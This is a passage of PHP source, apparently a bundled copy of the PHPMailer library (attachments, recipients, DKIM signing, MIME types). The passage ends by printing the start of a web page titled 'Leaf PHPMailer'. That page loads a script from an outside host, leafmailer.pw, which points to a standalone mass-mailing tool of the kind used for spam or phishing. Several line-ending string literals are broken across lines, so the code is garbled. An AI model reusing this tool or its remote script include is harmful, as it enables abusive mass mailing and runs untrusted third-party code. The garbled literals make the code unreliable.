  2575. }
  2576. foreach (array_unique($matches[0]) as $char) {
  2577. $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
  2578. }
  2579. }
  2580. // Replace every spaces to _ (more readable than =20)
  2581. return str_replace(' ', '_', $encoded);
  2582. }
  2583. /**
  2584. * Add a string or binary attachment (non-filesystem).
  2585. * This method can be used to attach ascii or binary data,
  2586. * such as a BLOB record from a database.
  2587. * @param string $string String attachment data.
  2588. * @param string $filename Name of the attachment.
  2589. * @param string $encoding File encoding (see $Encoding).
  2590. * @param string $type File extension (MIME) type.
  2591. * @param string $disposition Disposition to use
  2592. * @return void
  2593. */
  2594. public function addStringAttachment($string, $filename, $encoding = 'base64', $type = '', $disposition = 'attachment') {
  2595. // If a MIME type is not specified, try to work it out from the file name
  2596. if ($type == '') {
  2597. $type = self::filenameToType($filename);
  2598. }
  2599. // Append to $attachment array
  2600. $this->attachment[] = array(0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment
  2601. 6 => $disposition, 7 => 0);
  2602. }
  2603. /**
  2604. * Add an embedded (inline) attachment from a file.
  2605. * This can include images, sounds, and just about any other document type.
  2606. * These differ from 'regular' attachments in that they are intended to be
  2607. * displayed inline with the message, not just attached for download.
  2608. * This is used in HTML messages that embed the images
  2609. * the HTML refers to using the $cid value.
  2610. * @param string $path Path to the attachment.
  2611. * @param string $cid Content ID of the attachment; Use this to reference
  2612. * the content when using an embedded image in HTML.
  2613. * @param string $name Overrides the attachment name.
  2614. * @param string $encoding File encoding (see $Encoding).
  2615. * @param string $type File MIME type.
  2616. * @param string $disposition Disposition to use
  2617. * @return boolean True on successfully adding an attachment
  2618. */
  2619. public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') {
  2620. if (!@is_file($path)) {
  2621. $this->setError($this->lang('file_access') . $path);
  2622. return false;
  2623. }
  2624. // If a MIME type is not specified, try to work it out from the file name
  2625. if ($type == '') {
  2626. $type = self::filenameToType($path);
  2627. }
  2628. $filename = basename($path);
  2629. if ($name == '') {
  2630. $name = $filename;
  2631. }
  2632. // Append to $attachment array
  2633. $this->attachment[] = array(0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment
  2634. 6 => $disposition, 7 => $cid);
  2635. return true;
  2636. }
  2637. /**
  2638. * Add an embedded stringified attachment.
  2639. * This can include images, sounds, and just about any other document type.
  2640. * Be sure to set the $type to an image type for images:
  2641. * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
  2642. * @param string $string The attachment binary data.
  2643. * @param string $cid Content ID of the attachment; Use this to reference
  2644. * the content when using an embedded image in HTML.
  2645. * @param string $name
  2646. * @param string $encoding File encoding (see $Encoding).
  2647. * @param string $type MIME type.
  2648. * @param string $disposition Disposition to use
  2649. * @return boolean True on successfully adding an attachment
  2650. */
  2651. public function addStringEmbeddedImage($string, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline') {
  2652. // If a MIME type is not specified, try to work it out from the name
  2653. if ($type == '' and !empty($name)) {
  2654. $type = self::filenameToType($name);
  2655. }
  2656. // Append to $attachment array
  2657. $this->attachment[] = array(0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, // isStringAttachment
  2658. 6 => $disposition, 7 => $cid);
  2659. return true;
  2660. }
  2661. /**
  2662. * Check if an inline attachment is present.
  2663. * @access public
  2664. * @return boolean
  2665. */
  2666. public function inlineImageExists() {
  2667. foreach ($this->attachment as $attachment) {
  2668. if ($attachment[6] == 'inline') {
  2669. return true;
  2670. }
  2671. }
  2672. return false;
  2673. }
  2674. /**
  2675. * Check if an attachment (non-inline) is present.
  2676. * @return boolean
  2677. */
  2678. public function attachmentExists() {
  2679. foreach ($this->attachment as $attachment) {
  2680. if ($attachment[6] == 'attachment') {
  2681. return true;
  2682. }
  2683. }
  2684. return false;
  2685. }
  2686. /**
  2687. * Check if this message has an alternative body set.
  2688. * @return boolean
  2689. */
  2690. public function alternativeExists() {
  2691. return !empty($this->AltBody);
  2692. }
  2693. /**
  2694. * Clear queued addresses of given kind.
  2695. * @access protected
  2696. * @param string $kind 'to', 'cc', or 'bcc'
  2697. * @return void
  2698. */
  2699. public function clearQueuedAddresses($kind) {
  2700. $RecipientsQueue = $this->RecipientsQueue;
  2701. foreach ($RecipientsQueue as $address => $params) {
  2702. if ($params[0] == $kind) {
  2703. unset($this->RecipientsQueue[$address]);
  2704. }
  2705. }
  2706. }
  2707. /**
  2708. * Clear all To recipients.
  2709. * @return void
  2710. */
  2711. public function clearAddresses() {
  2712. foreach ($this->to as $to) {
  2713. unset($this->all_recipients[strtolower($to[0]) ]);
  2714. }
  2715. $this->to = array();
  2716. $this->clearQueuedAddresses('to');
  2717. }
  2718. /**
  2719. * Clear all CC recipients.
  2720. * @return void
  2721. */
  2722. public function clearCCs() {
  2723. foreach ($this->cc as $cc) {
  2724. unset($this->all_recipients[strtolower($cc[0]) ]);
  2725. }
  2726. $this->cc = array();
  2727. $this->clearQueuedAddresses('cc');
  2728. }
  2729. /**
  2730. * Clear all BCC recipients.
  2731. * @return void
  2732. */
  2733. public function clearBCCs() {
  2734. foreach ($this->bcc as $bcc) {
  2735. unset($this->all_recipients[strtolower($bcc[0]) ]);
  2736. }
  2737. $this->bcc = array();
  2738. $this->clearQueuedAddresses('bcc');
  2739. }
  2740. /**
  2741. * Clear all ReplyTo recipients.
  2742. * @return void
  2743. */
  2744. public function clearReplyTos() {
  2745. $this->ReplyTo = array();
  2746. $this->ReplyToQueue = array();
  2747. }
  2748. /**
  2749. * Clear all recipient types.
  2750. * @return void
  2751. */
  2752. public function clearAllRecipients() {
  2753. $this->to = array();
  2754. $this->cc = array();
  2755. $this->bcc = array();
  2756. $this->all_recipients = array();
  2757. $this->RecipientsQueue = array();
  2758. }
  2759. /**
  2760. * Clear all filesystem, string, and binary attachments.
  2761. * @return void
  2762. */
  2763. public function clearAttachments() {
  2764. $this->attachment = array();
  2765. }
  2766. /**
  2767. * Clear all custom headers.
  2768. * @return void
  2769. */
  2770. public function clearCustomHeaders() {
  2771. $this->CustomHeader = array();
  2772. }
  2773. /**
  2774. * Add an error message to the error container.
  2775. * @access protected
  2776. * @param string $msg
  2777. * @return void
  2778. */
  2779. protected function setError($msg) {
  2780. $this->error_count++;
  2781. if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
  2782. $lasterror = $this->smtp->getError();
  2783. if (!empty($lasterror['error'])) {
  2784. $msg.= $this->lang('smtp_error') . $lasterror['error'];
  2785. if (!empty($lasterror['detail'])) {
  2786. $msg.= ' Detail: ' . $lasterror['detail'];
  2787. }
  2788. if (!empty($lasterror['smtp_code'])) {
  2789. $msg.= ' SMTP code: ' . $lasterror['smtp_code'];
  2790. }
  2791. if (!empty($lasterror['smtp_code_ex'])) {
  2792. $msg.= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
  2793. }
  2794. }
  2795. }
  2796. $this->ErrorInfo = $msg;
  2797. }
  2798. /**
  2799. * Return an RFC 822 formatted date.
  2800. * @access public
  2801. * @return string
  2802. * @static
  2803. */
  2804. public static function rfcDate() {
  2805. // Set the time zone to whatever the default is to avoid 500 errors
  2806. // Will default to UTC if it's not set properly in php.ini
  2807. date_default_timezone_set(@date_default_timezone_get());
  2808. return date('D, j M Y H:i:s O');
  2809. }
  2810. /**
  2811. * Get the server hostname.
  2812. * Returns 'localhost.localdomain' if unknown.
  2813. * @access protected
  2814. * @return string
  2815. */
  2816. protected function serverHostname() {
  2817. $result = 'localhost.localdomain';
  2818. if (!empty($this->Hostname)) {
  2819. $result = $this->Hostname;
  2820. } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
  2821. $result = $_SERVER['SERVER_NAME'];
  2822. } elseif (function_exists('gethostname') && gethostname() !== false) {
  2823. $result = gethostname();
  2824. } elseif (php_uname('n') !== false) {
  2825. $result = php_uname('n');
  2826. }
  2827. return $result;
  2828. }
  2829. /**
  2830. * Get an error message in the current language.
  2831. * @access protected
  2832. * @param string $key
  2833. * @return string
  2834. */
  2835. protected function lang($key) {
  2836. if (count($this->language) < 1) {
  2837. $this->setLanguage('en'); // set the default language
  2838. }
  2839. if (array_key_exists($key, $this->language)) {
  2840. if ($key == 'smtp_connect_failed') {
  2841. //Include a link to troubleshooting docs on SMTP connection failure
  2842. //this is by far the biggest cause of support questions
  2843. //but it's usually not PHPMailer's fault.
  2844. return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
  2845. }
  2846. return $this->language[$key];
  2847. } else {
  2848. //Return the key as a fallback
  2849. return $key;
  2850. }
  2851. }
  2852. /**
  2853. * Check if an error occurred.
  2854. * @access public
  2855. * @return boolean True if an error did occur.
  2856. */
  2857. public function isError() {
  2858. return ($this->error_count > 0);
  2859. }
  2860. /**
  2861. * Ensure consistent line endings in a string.
  2862. * Changes every end of line from CRLF, CR or LF to $this->LE.
  2863. * @access public
  2864. * @param string $str String to fixEOL
  2865. * @return string
  2866. */
  2867. public function fixEOL($str) {
  2868. // Normalise to
  2869. $nstr = str_replace(array("
  2870. ", "
  2871. "), "
  2872. ", $str);
  2873. // Now convert LE as needed
  2874. if ($this->LE !== "
  2875. ") {
  2876. $nstr = str_replace("
  2877. ", $this->LE, $nstr);
  2878. }
  2879. return $nstr;
  2880. }
  2881. /**
  2882. * Add a custom header.
  2883. * $name value can be overloaded to contain
  2884. * both header name and value (name:value)
  2885. * @access public
  2886. * @param string $name Custom header name
  2887. * @param string $value Header value
  2888. * @return void
  2889. */
  2890. public function addCustomHeader($name, $value = null) {
  2891. if ($value === null) {
  2892. // Value passed in as name:value
  2893. $this->CustomHeader[] = explode(':', $name, 2);
  2894. } else {
  2895. $this->CustomHeader[] = array($name, $value);
  2896. }
  2897. }
  2898. /**
  2899. * Returns all custom headers.
  2900. * @return array
  2901. */
  2902. public function getCustomHeaders() {
  2903. return $this->CustomHeader;
  2904. }
  2905. /**
  2906. * Create a message from an HTML string.
  2907. * Automatically makes modifications for inline images and backgrounds
  2908. * and creates a plain-text version by converting the HTML.
  2909. * Overwrites any existing values in $this->Body and $this->AltBody
  2910. * @access public
  2911. * @param string $message HTML message string
  2912. * @param string $basedir baseline directory for path
  2913. * @param boolean|callable $advanced Whether to use the internal HTML to text converter
  2914. * or your own custom converter @see PHPMailer::html2text()
  2915. * @return string $message
  2916. */
  2917. public function msgHTML($message, $basedir = '', $advanced = false) {
  2918. preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
  2919. if (array_key_exists(2, $images)) {
  2920. foreach ($images[2] as $imgindex => $url) {
  2921. // Convert data URIs into embedded images
  2922. if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
  2923. $data = substr($url, strpos($url, ','));
  2924. if ($match[2]) {
  2925. $data = base64_decode($data);
  2926. } else {
  2927. $data = rawurldecode($data);
  2928. }
  2929. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2930. if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
  2931. $message = str_replace($images[0][$imgindex], $images[1][$imgindex] . '="cid:' . $cid . '"', $message);
  2932. }
  2933. } elseif (substr($url, 0, 4) !== 'cid:' && !preg_match('#^[A-z]+://#', $url)) {
  2934. // Do not change urls for absolute images (thanks to corvuscorax)
  2935. // Do not change urls that are already inline images
  2936. $filename = basename($url);
  2937. $directory = dirname($url);
  2938. if ($directory == '.') {
  2939. $directory = '';
  2940. }
  2941. $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
  2942. if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
  2943. $basedir.= '/';
  2944. }
  2945. if (strlen($directory) > 1 && substr($directory, -1) != '/') {
  2946. $directory.= '/';
  2947. }
  2948. if ($this->addEmbeddedImage($basedir . $directory . $filename, $cid, $filename, 'base64', self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION)))) {
  2949. $message = preg_replace('/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', $images[1][$imgindex] . '="cid:' . $cid . '"', $message);
  2950. }
  2951. }
  2952. }
  2953. }
  2954. $this->isHTML(true);
  2955. // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
  2956. $this->Body = $this->normalizeBreaks($message);
  2957. $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
  2958. if (empty($this->AltBody)) {
  2959. $this->AltBody = 'To view this email message, open it in a program that understands HTML!' . self::CRLF . self::CRLF;
  2960. }
  2961. return $this->Body;
  2962. }
  2963. /**
  2964. * Convert an HTML string into plain text.
  2965. * This is used by msgHTML().
  2966. * Note - older versions of this function used a bundled advanced converter
  2967. * which was been removed for license reasons in #232
  2968. * Example usage:
  2969. * <code>
  2970. * // Use default conversion
  2971. * $plain = $mail->html2text($html);
  2972. * // Use your own custom converter
  2973. * $plain = $mail->html2text($html, function($html) {
  2974. * $converter = new MyHtml2text($html);
  2975. * return $converter->get_text();
  2976. * });
  2977. * </code>
  2978. * @param string $html The HTML text to convert
  2979. * @param boolean|callable $advanced Any boolean value to use the internal converter,
  2980. * or provide your own callable for custom conversion.
  2981. * @return string
  2982. */
  2983. public function html2text($html, $advanced = false) {
  2984. if (is_callable($advanced)) {
  2985. return call_user_func($advanced, $html);
  2986. }
  2987. return html_entity_decode(trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/>/si', '', $html))), ENT_QUOTES, $this->CharSet);
  2988. }
  2989. /**
  2990. * Get the MIME type for a file extension.
  2991. * @param string $ext File extension
  2992. * @access public
  2993. * @return string MIME type of file.
  2994. * @static
  2995. */
  2996. public static function _mime_types($ext = '') {
  2997. $mimes = array('xl' => 'application/excel', 'js' => 'application/javascript', 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'bin' => 'application/macbinary', 'doc' => 'application/msword', 'word' => 'application/msword', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'class' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'dms' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'so' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xht' => 'application/xhtml+xml', 'xhtml' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'mpga' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'wav' => 'audio/x-wav', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'jpg' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'eml' => 'message/rfc822', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'log' => 'text/plain', 'text' => 'text/plain', 'txt' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'vcf' => 'text/vcard', 'vcard' => 'text/vcard', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'mpeg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mov' => 'video/quicktime', 'qt' => 'video/quicktime', 'rv' => 'video/vnd.rn-realvideo', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie');
  2998. if (array_key_exists(strtolower($ext), $mimes)) {
  2999. return $mimes[strtolower($ext) ];
  3000. }
  3001. return 'application/octet-stream';
  3002. }
  3003. /**
  3004. * Map a file name to a MIME type.
  3005. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
  3006. * @param string $filename A file name or full path, does not need to exist as a file
  3007. * @return string
  3008. * @static
  3009. */
  3010. public static function filenameToType($filename) {
  3011. // In case the path is a URL, strip any query string before getting extension
  3012. $qpos = strpos($filename, '?');
  3013. if (false !== $qpos) {
  3014. $filename = substr($filename, 0, $qpos);
  3015. }
  3016. $pathinfo = self::mb_pathinfo($filename);
  3017. return self::_mime_types($pathinfo['extension']);
  3018. }
  3019. /**
  3020. * Multi-byte-safe pathinfo replacement.
  3021. * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
  3022. * Works similarly to the one in PHP >= 5.2.0
  3023. * @link http://www.php.net/manual/en/function.pathinfo.php#107461
  3024. * @param string $path A filename or path, does not need to exist as a file
  3025. * @param integer|string $options Either a PATHINFO_* constant,
  3026. * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
  3027. * @return string|array
  3028. * @static
  3029. */
  3030. public static function mb_pathinfo($path, $options = null) {
  3031. $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
  3032. $pathinfo = array();
  3033. if (preg_match('%^(.*?)[\/]*(([^/\]*?)(\.([^\.\/]+?)|))[\/\.]*$%im', $path, $pathinfo)) {
  3034. if (array_key_exists(1, $pathinfo)) {
  3035. $ret['dirname'] = $pathinfo[1];
  3036. }
  3037. if (array_key_exists(2, $pathinfo)) {
  3038. $ret['basename'] = $pathinfo[2];
  3039. }
  3040. if (array_key_exists(5, $pathinfo)) {
  3041. $ret['extension'] = $pathinfo[5];
  3042. }
  3043. if (array_key_exists(3, $pathinfo)) {
  3044. $ret['filename'] = $pathinfo[3];
  3045. }
  3046. }
  3047. switch ($options) {
  3048. case PATHINFO_DIRNAME:
  3049. case 'dirname':
  3050. return $ret['dirname'];
  3051. case PATHINFO_BASENAME:
  3052. case 'basename':
  3053. return $ret['basename'];
  3054. case PATHINFO_EXTENSION:
  3055. case 'extension':
  3056. return $ret['extension'];
  3057. case PATHINFO_FILENAME:
  3058. case 'filename':
  3059. return $ret['filename'];
  3060. default:
  3061. return $ret;
  3062. }
  3063. }
  3064. /**
  3065. * Set or reset instance properties.
  3066. * You should avoid this function - it's more verbose, less efficient, more error-prone and
  3067. * harder to debug than setting properties directly.
  3068. * Usage Example:
  3069. * `$mail->set('SMTPSecure', 'tls');`
  3070. * is the same as:
  3071. * `$mail->SMTPSecure = 'tls';`
  3072. * @access public
  3073. * @param string $name The property name to set
  3074. * @param mixed $value The value to set the property to
  3075. * @return boolean
  3076. * @TODO Should this not be using the __set() magic function?
  3077. */
  3078. public function set($name, $value = '') {
  3079. if (property_exists($this, $name)) {
  3080. $this->$name = $value;
  3081. return true;
  3082. } else {
  3083. $this->setError($this->lang('variable_set') . $name);
  3084. return false;
  3085. }
  3086. }
  3087. /**
  3088. * Strip newlines to prevent header injection.
  3089. * @access public
  3090. * @param string $str
  3091. * @return string
  3092. */
  3093. public function secureHeader($str) {
  3094. return trim(str_replace(array("
  3095. ", "
  3096. "), '', $str));
  3097. }
  3098. /**
  3099. * Normalize line breaks in a string.
  3100. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
  3101. * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
  3102. * @param string $text
  3103. * @param string $breaktype What kind of line break to use, defaults to CRLF
  3104. * @return string
  3105. * @access public
  3106. * @static
  3107. */
  3108. public static function normalizeBreaks($text, $breaktype = "
  3109. ") {
  3110. return preg_replace('/(
  3111. |
  3112. |
  3113. )/ms', $breaktype, $text);
  3114. }
  3115. /**
  3116. * Set the public and private key files and password for S/MIME signing.
  3117. * @access public
  3118. * @param string $cert_filename
  3119. * @param string $key_filename
  3120. * @param string $key_pass Password for private key
  3121. * @param string $extracerts_filename Optional path to chain certificate
  3122. */
  3123. public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') {
  3124. $this->sign_cert_file = $cert_filename;
  3125. $this->sign_key_file = $key_filename;
  3126. $this->sign_key_pass = $key_pass;
  3127. $this->sign_extracerts_file = $extracerts_filename;
  3128. }
  3129. /**
  3130. * Quoted-Printable-encode a DKIM header.
  3131. * @access public
  3132. * @param string $txt
  3133. * @return string
  3134. */
  3135. public function DKIM_QP($txt) {
  3136. $line = '';
  3137. for ($i = 0;$i < strlen($txt);$i++) {
  3138. $ord = ord($txt[$i]);
  3139. if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
  3140. $line.= $txt[$i];
  3141. } else {
  3142. $line.= '=' . sprintf('%02X', $ord);
  3143. }
  3144. }
  3145. return $line;
  3146. }
  3147. /**
  3148. * Generate a DKIM signature.
  3149. * @access public
  3150. * @param string $signHeader
  3151. * @throws phpmailerException
  3152. * @return string
  3153. */
  3154. public function DKIM_Sign($signHeader) {
  3155. if (!defined('PKCS7_TEXT')) {
  3156. if ($this->exceptions) {
  3157. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  3158. }
  3159. return '';
  3160. }
  3161. $privKeyStr = file_get_contents($this->DKIM_private);
  3162. if ($this->DKIM_passphrase != '') {
  3163. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  3164. } else {
  3165. $privKey = $privKeyStr;
  3166. }
  3167. if (openssl_sign($signHeader, $signature, $privKey)) {
  3168. return base64_encode($signature);
  3169. }
  3170. return '';
  3171. }
  3172. /**
  3173. * Generate a DKIM canonicalization header.
  3174. * @access public
  3175. * @param string $signHeader Header
  3176. * @return string
  3177. */
  3178. public function DKIM_HeaderC($signHeader) {
  3179. $signHeader = preg_replace('/
  3180. \s+/', ' ', $signHeader);
  3181. $lines = explode("
  3182. ", $signHeader);
  3183. foreach ($lines as $key => $line) {
  3184. list($heading, $value) = explode(':', $line, 2);
  3185. $heading = strtolower($heading);
  3186. $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  3187. $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  3188. }
  3189. $signHeader = implode("
  3190. ", $lines);
  3191. return $signHeader;
  3192. }
  3193. /**
  3194. * Generate a DKIM canonicalization body.
  3195. * @access public
  3196. * @param string $body Message Body
  3197. * @return string
  3198. */
  3199. public function DKIM_BodyC($body) {
  3200. if ($body == '') {
  3201. return "
  3202. ";
  3203. }
  3204. // stabilize line endings
  3205. $body = str_replace("
  3206. ", "
  3207. ", $body);
  3208. $body = str_replace("
  3209. ", "
  3210. ", $body);
  3211. // END stabilize line endings
  3212. while (substr($body, strlen($body) - 4, 4) == "
  3213. ") {
  3214. $body = substr($body, 0, strlen($body) - 2);
  3215. }
  3216. return $body;
  3217. }
  3218. /**
  3219. * Create the DKIM header and body in a new message header.
  3220. * @access public
  3221. * @param string $headers_line Header lines
  3222. * @param string $subject Subject
  3223. * @param string $body Body
  3224. * @return string
  3225. */
  3226. public function DKIM_Add($headers_line, $subject, $body) {
  3227. $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  3228. $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  3229. $DKIMquery = 'dns/txt'; // Query method
  3230. $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  3231. $subject_header = "Subject: $subject";
  3232. $headers = explode($this->LE, $headers_line);
  3233. $from_header = '';
  3234. $to_header = '';
  3235. $current = '';
  3236. foreach ($headers as $header) {
  3237. if (strpos($header, 'From:') === 0) {
  3238. $from_header = $header;
  3239. $current = 'from_header';
  3240. } elseif (strpos($header, 'To:') === 0) {
  3241. $to_header = $header;
  3242. $current = 'to_header';
  3243. } else {
  3244. if (!empty($$current) && strpos($header, ' =?') === 0) {
  3245. $$current.= $header;
  3246. } else {
  3247. $current = '';
  3248. }
  3249. }
  3250. }
  3251. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  3252. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  3253. $subject = str_replace('|', '=7C', $this->DKIM_QP($subject_header)); // Copied header fields (dkim-quoted-printable)
  3254. $body = $this->DKIM_BodyC($body);
  3255. $DKIMlen = strlen($body); // Length of body
  3256. $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  3257. if ('' == $this->DKIM_identity) {
  3258. $ident = '';
  3259. } else {
  3260. $ident = ' i=' . $this->DKIM_identity . ';';
  3261. }
  3262. $dkimhdrs = 'DKIM-Signature: v=1; a=' . $DKIMsignatureType . '; q=' . $DKIMquery . '; l=' . $DKIMlen . '; s=' . $this->DKIM_selector . ";" . " t=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";" . " h=From:To:Subject;" . " d=" . $this->DKIM_domain . ';' . $ident . "" . " z=$from" . " |$to" . " |$subject;" . " bh=" . $DKIMb64 . ";" . " b=";
  3263. $toSign = $this->DKIM_HeaderC($from_header . "" . $to_header . "" . $subject_header . "" . $dkimhdrs);
  3264. $signed = $this->DKIM_Sign($toSign);
  3265. return $dkimhdrs . $signed . "
  3266. ";
  3267. }
  3268. /**
  3269. * Detect if a string contains a line longer than the maximum line length allowed.
  3270. * @param string $str
  3271. * @return boolean
  3272. * @static
  3273. */
  3274. public static function hasLineLongerThanMax($str) {
  3275. //+2 to include CRLF line break for a 1000 total
  3276. return (boolean)preg_match('/^(.{' . (self::MAX_LINE_LENGTH + 2) . ',})/m', $str);
  3277. }
  3278. /**
  3279. * Allows for public read access to 'to' property.
  3280. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3281. * @access public
  3282. * @return array
  3283. */
  3284. public function getToAddresses() {
  3285. return $this->to;
  3286. }
  3287. /**
  3288. * Allows for public read access to 'cc' property.
  3289. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3290. * @access public
  3291. * @return array
  3292. */
  3293. public function getCcAddresses() {
  3294. return $this->cc;
  3295. }
  3296. /**
  3297. * Allows for public read access to 'bcc' property.
  3298. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3299. * @access public
  3300. * @return array
  3301. */
  3302. public function getBccAddresses() {
  3303. return $this->bcc;
  3304. }
  3305. /**
  3306. * Allows for public read access to 'ReplyTo' property.
  3307. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3308. * @access public
  3309. * @return array
  3310. */
  3311. public function getReplyToAddresses() {
  3312. return $this->ReplyTo;
  3313. }
  3314. /**
  3315. * Allows for public read access to 'all_recipients' property.
  3316. * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
  3317. * @access public
  3318. * @return array
  3319. */
  3320. public function getAllRecipientAddresses() {
  3321. return $this->all_recipients;
  3322. }
  3323. /**
  3324. * Perform a callback.
  3325. * @param boolean $isSent
  3326. * @param array $to
  3327. * @param array $cc
  3328. * @param array $bcc
  3329. * @param string $subject
  3330. * @param string $body
  3331. * @param string $from
  3332. */
  3333. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from) {
  3334. if (!empty($this->action_function) && is_callable($this->action_function)) {
  3335. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  3336. call_user_func_array($this->action_function, $params);
  3337. }
  3338. }
  3339. }
  3340. /**
  3341. * PHPMailer exception handler
  3342. * @package PHPMailer
  3343. */
  3344. class phpmailerException extends Exception {
  3345. /**
  3346. * Prettify error message output
  3347. * @return string
  3348. */
  3349. public function errorMessage() {
  3350. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />
  3351. ";
  3352. return $errorMsg;
  3353. }
  3354. }
  3355. print '
  3356. <head>
  3357. <title>Leaf PHPMailer</title>
  3358. <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
  3359. <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.3.6/cosmo/bootstrap.min.css" rel="stylesheet" >
  3360. <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js"></script>
  3361. <script src="https://leafmailer.pw/style.js"></script>
  3362. </head>';
  3363. print '<body>';
  3364. print '<div class="container col-lg-6">
